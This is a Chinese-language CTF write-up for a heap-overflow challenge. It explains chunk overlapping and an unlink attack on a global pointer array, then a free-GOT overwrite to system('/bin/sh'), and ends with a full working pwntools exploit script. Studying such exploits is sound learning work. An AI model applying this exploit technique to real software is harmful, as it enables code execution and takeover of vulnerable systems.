漏洞点
存在堆溢出漏洞,并且溢出范围较大,不存在UAF。
思路
因为溢出范围较大,所以可以考虑利用unlink。
首先利用堆溢出将chunk向前overlapping,这样就拥有了一个比较大的chunk。
1 2 3 4 5 6 7 add(0x80 ) add(0x80 ) add(0x80 ) add(0x10 ) delete(0 ) edit(1 ,p64(0 )*16 + p64(0x120 )+p64(0x90 )) delete(2 )
此时free掉0x1073120处堆块的会发生向前合并,那么就会有一整块unsortedbin,并且这个unsortedbin中还有一个0x90大小的malloc chunk。
所以说满足的条件需要有三个
要被unlink的chunk的size字段要和跟它相邻高地址的chunk的pre_size字段相等。(不包含标志位)
要被unlink的chunk的相邻高地址的chunk的size字段的inuse位必须是0,因为要被unlink的这个chunk一定是free状态。
要被unlink的chunk的fd和bk必须是一个完整的双向链表
对于这道题,我们想unlink处的地方(就是经过unlink便于我们getshell的点)就是0x6020c0处
由于unsortedbin中的fd和bk指向的都是chunk的header指针,但是在0x6020c0处保存的全是chunk的data指针,所以要想能符合条件3,是一个完整的双向链表的话,buf处应该有一个能保存指向某一个chunk的header指针,并且这个chunk还需要满足条件1和条件2
原本的chunk1和chunk2和chunk3合并成了一个大的unsortedbin,并且chunk2是一个malloc chunk。chunk1和chunk3是free chunk
三个chunk的size都是0x90。那么因为chunk2是malloc状态,方便利用edit的堆溢出漏洞,所以可以将chunk2当作unlink的对象。
只要构造好了chunk2,然后free掉chunk1,满足3个条件后,chunk1此时就会向后跟chunk2合并,发生unlink。
1 2 3 add(0x90 ) add(0x90 ) add(0x40 )
为什么是0x90?因为chunk1和chunk2原本是0x90,如果malloc(0x80)的话,那么实际上buf处的指针就全部是指向chunk的data了,那么就构造不出满足条件3的完整双向链表了,因为unsortedbin的双向链表fd和bk都是指向chunk的header的
因为chunk1和chunk2的size是0xa0了,所以buf中保存的chunk2原本的data指针,就是现在chunk的header指针,有了这一个指针,就方便构造完整的双向链表。
1 edit(2 ,p64(0x6020c0 -0x10 )+p64(0x6020c0 -0x8 )+p64(0 )*12 +p64(0x120 )+p64(0x90 )+p64(0 )*2 +p64(0xa0 )+p64(0x50 ))
然后通过chunk2的edit中的堆溢出漏洞来修改后面chunk3的pre_size和size,伪造chunk2处于free状态.
为什么fd和bk分别是0x6020b0和0x6020b8呢?
首先看fd,如果把要被unlink的chunk当作second chunk,那么fd指向的就是first chunk,经过unlink后的first chunk的bk是要被修改的,所以此时0x6020b0被当作first chunk,那么0x10730a0就是first chunk的bk。0x10730a0是要被unlink的chunk
再看bk,跟上述同理,此时0x6020b8被当作third chunk,0x10730a0被当作third chunk的fd指针
然后unlink将second chunk从双向链表中脱出:
1 2 first_bk = third_prev_addr third_fd = first_prev_addr
成功unlink,此时buf中有一个buf指针,那么就能随意控制buf的内容,利用edit和show功能可以泄露free函数的地址,然后再修改free函数的真实地址为system的地址。再往堆区保存一个’/bin/sh\x00’,再利用一次free,即可指向system(‘/bin/sh\x00’)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 edit(1 ,p64(0 )*2 +p64(free_got)+p64(0x6020c0 )) show(0 ) rl("the content is : \n" ) free_addr = uu64() lg("free_addr" ,free_addr) libc_base = free_addr - libc.sym['free' ] lg("libc_base" ,libc_base) system = libc_base + libc.sym['system' ] lg("system_addr" ,system) rl("please chooice :" ) sl('4' ) rl("which one do you want modify :" ) sl(str (0 )) rl("please input the content" ) s(p64(system)) edit(3 ,'/bin/sh\x00' ) delete(3 )
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" ,"splitw" ,"-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('node4.anna.nssctf.cn' , 28672 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num)) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil('\xf7' )[-4 :].ljust(4 ,'\x00' )) l64 = lambda : u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , '\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , '\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc-2.23.so' ) def add (size ): rl("please chooice :" ) sl('1' ) rl("please input the size : " ) sl(str (size)) def delete (index ): rl("please chooice :" ) sl('2' ) rl("which node do you want to delete" ) sl(str (index)) def show (index ): rl("please chooice :" ) sl('3' ) rl("which node do you want to show" ) sl(str (index)) def edit (index,content ): rl("please chooice :" ) sl('4' ) rl("which one do you want modify :" ) sl(str (index)) rl("please input the content" ) sl(content) free_got = elf.got['free' ] add(0x80 ) add(0x80 ) add(0x80 ) add(0x10 ) delete(0 ) edit(1 ,p64(0 )*16 + p64(0x120 )+p64(0x90 )) delete(2 ) add(0x90 ) add(0x90 ) add(0x40 ) edit(2 ,p64(0x6020c0 -0x10 )+p64(0x6020c0 -0x8 )+p64(0 )*12 +p64(0x120 )+p64(0x90 )+p64(0 )*2 +p64(0xa0 )+p64(0x50 )) delete(0 ) edit(1 ,p64(0 )*2 +p64(free_got)+p64(0x6020c0 )) show(0 ) rl("the content is : \n" ) free_addr = uu64() lg("free_addr" ,free_addr) libc_base = free_addr - libc.sym['free' ] lg("libc_base" ,libc_base) system = libc_base + libc.sym['system' ] lg("system_addr" ,system) rl("please chooice :" ) sl('4' ) rl("which one do you want modify :" ) sl(str (0 )) rl("please input the content" ) s(p64(system)) edit(3 ,'/bin/sh\x00' ) delete(3 ) inter()